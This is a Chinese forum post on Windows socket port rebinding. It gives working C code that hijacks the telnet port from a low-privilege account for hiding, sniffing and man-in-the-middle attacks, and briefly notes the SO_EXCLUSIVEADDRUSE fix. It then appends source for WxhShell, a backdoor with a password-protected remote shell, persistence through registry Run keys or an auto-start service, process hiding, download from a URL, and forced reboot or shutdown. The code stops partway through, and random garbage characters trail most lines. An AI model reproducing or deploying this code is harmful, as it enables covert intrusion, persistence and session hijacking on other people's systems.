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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4Z)DDz-}V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ACjf\4Q  
y1BgK>R  
  saddr.sin_family = AF_INET; |*,jU;NI  
Gqyue7;0,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qd!#t]  
Sd:.KRTu.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mYNEz @  
(Btv ClZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y~F<9;$=  
^GYq#q9Q  
  这意味着什么?意味着可以进行如下的攻击: TK>{qxt:=  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aEx(rLd+  
>WM3|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .}9FEn 8  
nd+?O7~}(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *+8%kn`c  
i~&c|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \~X&o% y  
-{9Gagy2&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |,}E0G.  
&-GuKH(Y<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (G4'(6  
$Kq<W{H3ut  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B; -2$ 77  
c6b0*!D"}  
  #include 0k?Sq#7q  
  #include C>*n9l[M~  
  #include RI@*O6\/I  
  #include    acOJ]]  
  DWORD WINAPI ClientThread(LPVOID lpParam);    v_sm  
  int main() 00M`%c/  
  { p\U*;'hv  
  WORD wVersionRequested; DMkhbo&+  
  DWORD ret; ?En7_X{C?  
  WSADATA wsaData; Z~3u:[x";  
  BOOL val; (L|}`  
  SOCKADDR_IN saddr; B4O6> '  
  SOCKADDR_IN scaddr; "E>t, D  
  int err; p,n\__  
  SOCKET s; ,deUsc  
  SOCKET sc; 3#Y3Dz`  
  int caddsize; Q-R}qy5y  
  HANDLE mt; VjTe4$ *  
  DWORD tid;   g8yN% )[  
  wVersionRequested = MAKEWORD( 2, 2 ); _=6OP8  
  err = WSAStartup( wVersionRequested, &wsaData ); 3C"_$?y"  
  if ( err != 0 ) { vF>gU_gz.  
  printf("error!WSAStartup failed!\n"); Yg6I&#f7&  
  return -1; +p?hGoF=  
  } 'XTs -=  
  saddr.sin_family = AF_INET; h#{T}[  
   93I'cWN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 55hyV{L%  
GOW"o"S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +{6`F1MO  
  saddr.sin_port = htons(23); ek[kq[U9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Igjr~@ #  
  { Ky&KF0  
  printf("error!socket failed!\n"); uu>lDvR*  
  return -1; (/fT]6(  
  } )C}KR`"  
  val = TRUE; lcig7%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e}Q>\t45  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vOgLEN&]  
  { '\L0xw4  
  printf("error!setsockopt failed!\n"); Wg(bD,  
  return -1; pruWO'b`  
  } {NeWdC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l.7d$8'\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IIax gfhZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XOxB (0@  
?f@ 9nph  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .&chdVcxyS  
  { rB evVc![  
  ret=GetLastError(); (b|#n|~?YL  
  printf("error!bind failed!\n"); d +xA:  
  return -1; P Ey/k.  
  } 1CiA 8  
  listen(s,2); S$K}v,8.sr  
  while(1) .b _?-Fv  
  { W^(Iw%ek  
  caddsize = sizeof(scaddr); o PaZ  
  //接受连接请求 wA r~<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ! o^Ic`FhS  
  if(sc!=INVALID_SOCKET) cno;>[$  
  { u 6(GM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6+Jry@  
  if(mt==NULL) V5X i '=  
  { <~O}6HQ#  
  printf("Thread Creat Failed!\n"); c `ud;lI  
  break; ?{j@6,  
  } N<"`ShCNM  
  } %|jzEBz@  
  CloseHandle(mt); /=trj5h  
  } 1uC;$Aj6:  
  closesocket(s); ^5>du~d  
  WSACleanup(); " <*nZ~nE)  
  return 0; bx7\QU+  
  }   K>LpN')d  
  DWORD WINAPI ClientThread(LPVOID lpParam) gr\@sx?b  
  { <p)Z/  
  SOCKET ss = (SOCKET)lpParam; lO_c/o$  
  SOCKET sc; :Q=z=`*2w  
  unsigned char buf[4096]; /4H[4m]I  
  SOCKADDR_IN saddr;  6s5b$x  
  long num; ,$BgR2^  
  DWORD val; ;24'f-Eri  
  DWORD ret; -s89)lUkS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j Ii[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vu ?3$  
  saddr.sin_family = AF_INET; U,38qKE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a6qwL4  
  saddr.sin_port = htons(23); .}~$1QKS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oc((Yo+B  
  { 08O7F  
  printf("error!socket failed!\n"); 3/l\ <{  
  return -1; u6p5:oJj,  
  } ,,}sK  
  val = 100; ,wlbIl~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1w bTqc  
  { ($:y\,5(9I  
  ret = GetLastError(); 0IpST  
  return -1; WT?b Bf  
  } DH/L`$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H lF}   
  { UE{,.s  
  ret = GetLastError(); $kIo4$.Y$  
  return -1; &8waih(|  
  } $mD>r x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ret0z|  
  { bz$Qk;m=H  
  printf("error!socket connect failed!\n"); Liij{ahm  
  closesocket(sc); /4^G34  
  closesocket(ss); ) (+)Q'*  
  return -1; D-~G|8g  
  } -$OD}5ku#  
  while(1) 6QW<RXom  
  { ,b:n1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {:3.27jQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l3BD <PB2S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2DUr7r M  
  num = recv(ss,buf,4096,0); [h^f%  
  if(num>0) C#ZhsWS!b  
  send(sc,buf,num,0); Y=3X9%v9g  
  else if(num==0) ckAsGF_B~!  
  break; QP+c?ct}hF  
  num = recv(sc,buf,4096,0); 'xsbm^n6a&  
  if(num>0) :cEd[Jm9  
  send(ss,buf,num,0); QTeFR&q8  
  else if(num==0) 8i[".9}G\  
  break; 6GY32\Ac  
  } z;U LQ  
  closesocket(ss); kAY@^vi  
  closesocket(sc); Z6NJ)XQy6F  
  return 0 ; Ew>~a8! Fq  
  } Oq[i &  
\Oz,Qzr|  
m';#R9\Fz  
========================================================== EZ..^M3  
iwB8I^  
下边附上一个代码,,WXhSHELL 0Y[*lM-  
~Vwk:+):  
========================================================== m; 1'u;  
<Kh?Ad>N  
#include "stdafx.h" U) +?$ Tbm  
T.J`S(oI  
#include <stdio.h> pn|p(6  
#include <string.h> DL %S(l  
#include <windows.h>  xQX<w\s  
#include <winsock2.h> +O&RBEa[  
#include <winsvc.h> l_bL,-|E8  
#include <urlmon.h> ]NbX`'  
^=Q8]W_*  
#pragma comment (lib, "Ws2_32.lib") N&?T0Ge;  
#pragma comment (lib, "urlmon.lib") lt{lHat1  
`i=JjgG@  
#define MAX_USER   100 // 最大客户端连接数 h-Tsi:%b  
#define BUF_SOCK   200 // sock buffer aMBL1d7  
#define KEY_BUFF   255 // 输入 buffer S^|$23}  
,Y$F7&  
#define REBOOT     0   // 重启 } /[_  
#define SHUTDOWN   1   // 关机 Qk+=znJ  
W]Y@WKeT  
#define DEF_PORT   5000 // 监听端口 ]cn/(U`  
Fq vQk  
#define REG_LEN     16   // 注册表键长度 ||yXp2  
#define SVC_LEN     80   // NT服务名长度 R:]/{b4Uq  
gW'P`Oxw  
// 从dll定义API uE"5cq'B/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dFd lB `L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $*YC7f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u)tHOV>&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N[0 xqQ  
a3Z :C!|O'  
// wxhshell配置信息 mYiSR   
struct WSCFG { UaH26fWs  
  int ws_port;         // 监听端口 lTx Y6vi  
  char ws_passstr[REG_LEN]; // 口令 UCe,2v%  
  int ws_autoins;       // 安装标记, 1=yes 0=no c"sj)-_  
  char ws_regname[REG_LEN]; // 注册表键名 P#w}3^  
  char ws_svcname[REG_LEN]; // 服务名 r hiS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m$7x#8gF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +fC#2%VnU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m5X3{[a :  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l#X=]xQf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L@>^_p$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \d `dV0X  
9B qQ^`bu  
}; 7bA4P*  
<Gn8B^~$  
// default Wxhshell configuration 4kWg>F3  
struct WSCFG wscfg={DEF_PORT, ]|Ow_z8 O  
    "xuhuanlingzhe", N8,EI^W8Z  
    1, - P\S>G.  
    "Wxhshell", 8FB\0LA!g  
    "Wxhshell", nw~/~eM5=  
            "WxhShell Service", ;%BhhmR)[  
    "Wrsky Windows CmdShell Service", ~!8%_J_  
    "Please Input Your Password: ", n^* >a  
  1, @*CAn(@#N  
  "http://www.wrsky.com/wxhshell.exe", ;[;)P tFz\  
  "Wxhshell.exe" LN@lrC7X  
    }; %T`4!:vy  
q :TZ=bs^  
// 消息定义模块 qgwv=5|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cYZwWMzp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wrz+2EP`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \Ku9"x  
char *msg_ws_ext="\n\rExit."; 'dmp4VT3  
char *msg_ws_end="\n\rQuit."; N90\]dFmy  
char *msg_ws_boot="\n\rReboot..."; jHs<s`#h  
char *msg_ws_poff="\n\rShutdown..."; 3C> 2x(]M  
char *msg_ws_down="\n\rSave to "; HF*j`}  
B`g<Ge~  
char *msg_ws_err="\n\rErr!"; Q mb[ e>  
char *msg_ws_ok="\n\rOK!"; Rf)'HT  
&Pmc"9Rl  
char ExeFile[MAX_PATH]; )p^m}N 6M]  
int nUser = 0; ExN j|*  
HANDLE handles[MAX_USER]; &eThH,w$2  
int OsIsNt; w^ixMn~nLF  
*Te4U5F  
SERVICE_STATUS       serviceStatus; 6Y;Y}E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S 23S.]r  
X)`(nj  
// 函数声明 =giM@MV  
int Install(void); [ea6dv4p  
int Uninstall(void); 1$:{{%  
int DownloadFile(char *sURL, SOCKET wsh); r4;5b s6wm  
int Boot(int flag); F,' ^se4&  
void HideProc(void); #2_o[/&}x@  
int GetOsVer(void); :N^@a-  
int Wxhshell(SOCKET wsl); NWo7wVwc/c  
void TalkWithClient(void *cs); Ybs=W< -  
int CmdShell(SOCKET sock); 844tXMtPB\  
int StartFromService(void); vDu0  
int StartWxhshell(LPSTR lpCmdLine); tb-OKZq  
uB5h9&57  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a<OCO0irJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ](B& l{V  
uznoyj6g  
// 数据结构和表定义 .jU|gf:x  
SERVICE_TABLE_ENTRY DispatchTable[] = v YRt2({}Z  
{ +zFV~]b  
{wscfg.ws_svcname, NTServiceMain}, , aRJ!AZ  
{NULL, NULL} r*X}3t*  
}; D%c7JK  
w?V[[$  
// 自我安装 p/\$P=  
int Install(void) JLy)}8I  
{ 7h9fQ&y  
  char svExeFile[MAX_PATH]; v$gMLu=  
  HKEY key; c8k6(#\  
  strcpy(svExeFile,ExeFile); &+E'1h10  
K#9(|2 J%  
// 如果是win9x系统,修改注册表设为自启动 xG*lV|<7>  
if(!OsIsNt) { ~pd1 )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bR>o!(M'Z\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *_4n2<W$  
  RegCloseKey(key); `nd#< w>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p|bc=`TD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,<uiitOo  
  RegCloseKey(key); l5\B2 +}7  
  return 0; :$SRG^7md  
    } ; McIxvj  
  } r 85Xa'hh  
} ,? 0-=o  
else { BNL8hK`D  
L}e"nzTE6I  
// 如果是NT以上系统,安装为系统服务 <B ]i80.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dyouk+08x  
if (schSCManager!=0) 1jUhG2y  
{ rZ8Y=) e  
  SC_HANDLE schService = CreateService VgFF+Eg  
  ( M5cOz|j/*R  
  schSCManager, 5UrXVdP  
  wscfg.ws_svcname, :f?,]|]+-  
  wscfg.ws_svcdisp, SQ~N X)  
  SERVICE_ALL_ACCESS, a`EGx{q(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :|n>H+Y  
  SERVICE_AUTO_START, ADLa.{  
  SERVICE_ERROR_NORMAL, c:?#zX  
  svExeFile, %vf2||a$BS  
  NULL, Wvut)T  
  NULL, 'K;4102\  
  NULL, |l6<GWG+  
  NULL, O]Ry3j  
  NULL 5O;a/q8"  
  ); uh C=  
  if (schService!=0) ( l3UNP  
  { n3l"L|W^(<  
  CloseServiceHandle(schService); s{"`=dKT  
  CloseServiceHandle(schSCManager); I |<+'G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9z| >roNe  
  strcat(svExeFile,wscfg.ws_svcname); L6[rvM|9_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L5zG0mC8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DK@w^ZW6JA  
  RegCloseKey(key); e~t}z_>F  
  return 0; :"<B@Z  
    } 6PzN>+t^y  
  } 7/^TwNsv  
  CloseServiceHandle(schSCManager); ~q8V<@?  
} Zv1Bju*y  
} 7'{Yz  
sO{0hZkc  
return 1; ~*' 8=D?)  
} | z(Ws  
|oBdryi  
// 自我卸载 a! 0?L0_W&  
int Uninstall(void) 7/D9n9F  
{ siss_1J  
  HKEY key; I7q?V1f u4  
k[r./xEv+t  
if(!OsIsNt) { uhw5O9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +/@ZnE9s  
  RegDeleteValue(key,wscfg.ws_regname); RK~FT/  
  RegCloseKey(key); shDt&_n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HjUw[Yz+6  
  RegDeleteValue(key,wscfg.ws_regname); I*vj26qvg  
  RegCloseKey(key); _} X`t8Lh  
  return 0; vHI"C %  
  } Top#u  
} *xv/b=  
} XC$+ `?  
else { Y&05 *b"  
](9{}DHV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G7/?hky 0.  
if (schSCManager!=0) qh)!|B  
{ -9H!j4]T?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DX%8. @  
  if (schService!=0) S,`Sq8H  
  { q*RaX 4V  
  if(DeleteService(schService)!=0) { ltr;pc*)  
  CloseServiceHandle(schService); F"m}mf  
  CloseServiceHandle(schSCManager); *(\;}JF-  
  return 0; Ghgv RR$  
  } St7D.|  
  CloseServiceHandle(schService); 1)/T.q<D"  
  } ktw!T{  
  CloseServiceHandle(schSCManager); tZNad  
} Yyo9{4v+p{  
} B yy-Cc  
o. V0iS]  
return 1; $ vw}p.  
} P2 K>|r  
-YRL>]1  
// 从指定url下载文件 YW$x:  
int DownloadFile(char *sURL, SOCKET wsh) M;p q2$   
{ [BZ(p  
  HRESULT hr; T24#gF~  
char seps[]= "/"; E? m#S  
char *token; ^zWO[$n}tP  
char *file; }%>$}4 ,  
char myURL[MAX_PATH]; IjB*myN.  
char myFILE[MAX_PATH]; >h!.Gj  
<E}]t,'3  
strcpy(myURL,sURL); Q 5Ghki  
  token=strtok(myURL,seps); "PX3%II  
  while(token!=NULL) bZOy~F|  
  { l>5]Wd{/  
    file=token; h-_0 A]  
  token=strtok(NULL,seps); [q>i  
  } 2$i 0yPv  
l LD)i J1  
GetCurrentDirectory(MAX_PATH,myFILE); ,Y\4xg*`  
strcat(myFILE, "\\"); WlQ&Yau  
strcat(myFILE, file); Etr8lm E  
  send(wsh,myFILE,strlen(myFILE),0); S4:\`Lo-;  
send(wsh,"...",3,0); {u_k\m[Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E-U;8cOMv  
  if(hr==S_OK) SKc T  
return 0; PcSoG\- G<  
else dpGQ0EzH^  
return 1; P!6e  
fkv{\zN  
} N>6yacTB  
u.L8tR:(  
// 系统电源模块 SE}RP3dF!  
int Boot(int flag) DHumBnQ  
{ !,JT91  
  HANDLE hToken; /DG`Hg  
  TOKEN_PRIVILEGES tkp; U9p.Dh~)vG  
Ye=7Y57Nr  
  if(OsIsNt) { hzPB~obC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jQ\ MB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zS"zb  
    tkp.PrivilegeCount = 1; UVBw;V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W$MEbf%1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iQ}sp64  
if(flag==REBOOT) { *6x^w%=A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :qSi>KCGh  
  return 0; :: 72~'tw  
} >yT@?!/Q>'  
else { zm3MOH^a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s8_NN  
  return 0; gl7vM  
} "1`i]Y\'  
  } M Xt +  
  else { ]S2[eS  
if(flag==REBOOT) { gS<{ekN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _:=OHURc  
  return 0; O<d?'{  
} vb ^!(  
else { }`/n2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .6Lhy3x  
  return 0; 59NWyi4i  
} wZ3 vF)2s  
} 10I`AjF0  
b;;Kxi:7$}  
return 1; &{4Mo,x  
} D%Jc?6/I#3  
Pc; 14M  
// win9x进程隐藏模块 ' /<b[  
void HideProc(void) RdVis|7o  
{ K\E]X\:  
4C9"Q,o%&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R6@~   
  if ( hKernel != NULL ) a~eLkWnh<k  
  { @?cXa: tX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GxBPEIim  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w@$o  
    FreeLibrary(hKernel); *rFbehfH  
  } )%@WoBRj  
A8Z?[,Mq!  
return; *2C79hi1  
} {f-/,g~  
% m5^p  
// 获取操作系统版本 jc~*#\N  
int GetOsVer(void) AXv;r<  
{ iGeT^!N  
  OSVERSIONINFO winfo; W!0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bOIM0<(h  
  GetVersionEx(&winfo); ,Yprk%JT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eno2<<  
  return 1; CU^3L|f2N  
  else @C [|'[xQ  
  return 0; ,~?A. 5  
} XoQk'7"f  
QRh4f\fY  
// 客户端句柄模块 nMdN$E  
int Wxhshell(SOCKET wsl) ^5 =E`q".  
{ $JSC+o(q3#  
  SOCKET wsh; QZa#i L  
  struct sockaddr_in client; )Gp\_(9fc  
  DWORD myID; [W;dguh  
oUKbzr/C  
  while(nUser<MAX_USER) 0?;Hmq3  
{ [T#a1!  
  int nSize=sizeof(client); xI\s9_"Qy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y^m=_*1g5  
  if(wsh==INVALID_SOCKET) return 1; n*4X/K  
yy.:0:ema  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U\ E{-7  
if(handles[nUser]==0) >A( C9_\  
  closesocket(wsh); C2|2XL'l(C  
else Xg3[v3m|  
  nUser++; R9-JjG2v  
  } eh/OCzWH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]S aH/$  
pV|?dQ  
  return 0; $M<4Bqr  
} WHLKf  
gN'i+mQcu  
// 关闭 socket v.v%k2;  
void CloseIt(SOCKET wsh) ;Hp'x_xQ  
{ w:xKgng=L  
closesocket(wsh); l@J|p#0q  
nUser--; n)!_HNc9  
ExitThread(0); vFC=qLz:  
} FY}*Z=D%  
yB{o_1tc  
// 客户端请求句柄 tskODM0Zf  
void TalkWithClient(void *cs) &b")`p&K  
{ @,`=~_J  
n}'.6  
  SOCKET wsh=(SOCKET)cs; ]hVXFHrR  
  char pwd[SVC_LEN]; LA%al @  
  char cmd[KEY_BUFF]; T`{MQ:s  
char chr[1]; et}Y4,:  
int i,j; \'=}kk`  
Tv)y }  
  while (nUser < MAX_USER) { JJ=is}S|  
"{"2h>o#D}  
if(wscfg.ws_passstr) { ZboJszNb;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i*w-Q=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5T3>fw2G  
  //ZeroMemory(pwd,KEY_BUFF); t% B!\]  
      i=0; RAQ;O  
  while(i<SVC_LEN) { '#::ba[9w  
J}KktD@!O  
  // 设置超时 ,[1`'nN@g  
  fd_set FdRead; koY8=lh/  
  struct timeval TimeOut; q0Lt[*q3R  
  FD_ZERO(&FdRead); o(NyOC  
  FD_SET(wsh,&FdRead); "Am0.c/  
  TimeOut.tv_sec=8; wSF#;lqd  
  TimeOut.tv_usec=0; j6(IF5MqP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0$ac1;7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qf(e'e  
% peb{i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <OfzE5  
  pwd=chr[0]; ,O{ 5   
  if(chr[0]==0xd || chr[0]==0xa) { 2e@\6l,!^  
  pwd=0; j|dzd<kE6  
  break; IqKXFORiNI  
  } pv SFp-:_  
  i++; o`! :Q!+  
    } Fe< t@W  
6YGr"Kj &  
  // 如果是非法用户,关闭 socket A8(PI)Ic.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >F_Ne)}qTQ  
} %GiO1:t  
ua-|4@YO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |o) _=Fx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tKGsrgoV  
',7Z1O  
while(1) { ,)G+h#Y[*  
q\Kdu5x{  
  ZeroMemory(cmd,KEY_BUFF); =8_TOvSJ4p  
vqZM89 xY  
      // 自动支持客户端 telnet标准   31Mc<4zI8  
  j=0; 7Q}@L1A9F,  
  while(j<KEY_BUFF) { F|{?GV%hF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5B/\vLHg4  
  cmd[j]=chr[0]; FY*0gp  
  if(chr[0]==0xa || chr[0]==0xd) { K): sq{  
  cmd[j]=0; :#jv4N  
  break; .cog9H'  
  } 'p]qN;`'O$  
  j++; 0\*<k`dY  
    } %$ ?Q%  
d's`~HOU2  
  // 下载文件 O G}&%NgH  
  if(strstr(cmd,"http://")) { Vs"Q-?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %y+j~]^:  
  if(DownloadFile(cmd,wsh)) --)[>6)I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}T3Fig,q  
  else Z@A1+kUS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]+9:i!s  
  } !,uw./8@Ku  
  else { jzMGRN/67  
HbVm O]#$D  
    switch(cmd[0]) { OXV@LYP@  
  2F7R,rr  
  // 帮助 \Da$bJ  
  case '?': { L-dKZ8Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I!'(>VlP7  
    break; n(VMGCZPV  
  } d^^>3L!h  
  // 安装 GefgOlg5"  
  case 'i': { dUSuhT  
    if(Install()) T/5U lW|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6PUt'Kk@  
    else '|R|7nQAj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a9Rh  
    break; M!'tD!NWc  
    } pl&GFf o  
  // 卸载 kk#d-! $[  
  case 'r': { M - TK  
    if(Uninstall()) ;\.&FMi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TA7w:<  
    else !/j|\_O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -E"o)1Pj6C  
    break; c[q3O**  
    } 6fyW6xv[,  
  // 显示 wxhshell 所在路径 ?GZs5CnS  
  case 'p': { e~dU "  
    char svExeFile[MAX_PATH]; 0g4cyK~n]  
    strcpy(svExeFile,"\n\r"); W>Kn *Dy8~  
      strcat(svExeFile,ExeFile); (qdk &  
        send(wsh,svExeFile,strlen(svExeFile),0); VZR6oia  
    break; "H@AT$Ny(  
    } 4R6 .GO  
  // 重启 i.&16AY  
  case 'b': { OYy8u{@U:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9,+LNZ'k  
    if(Boot(REBOOT)) m%puD 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6m&I_icM  
    else { :Fl:bRH+  
    closesocket(wsh); (fS4qz:&l  
    ExitThread(0); v<4zcMv  
    } 4r$t}t gX  
    break; n2~rrQ \/p  
    } UqbE  
  // 关机 %+}\i'j7  
  case 'd': { -xlI'gNg7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9'M({/7y  
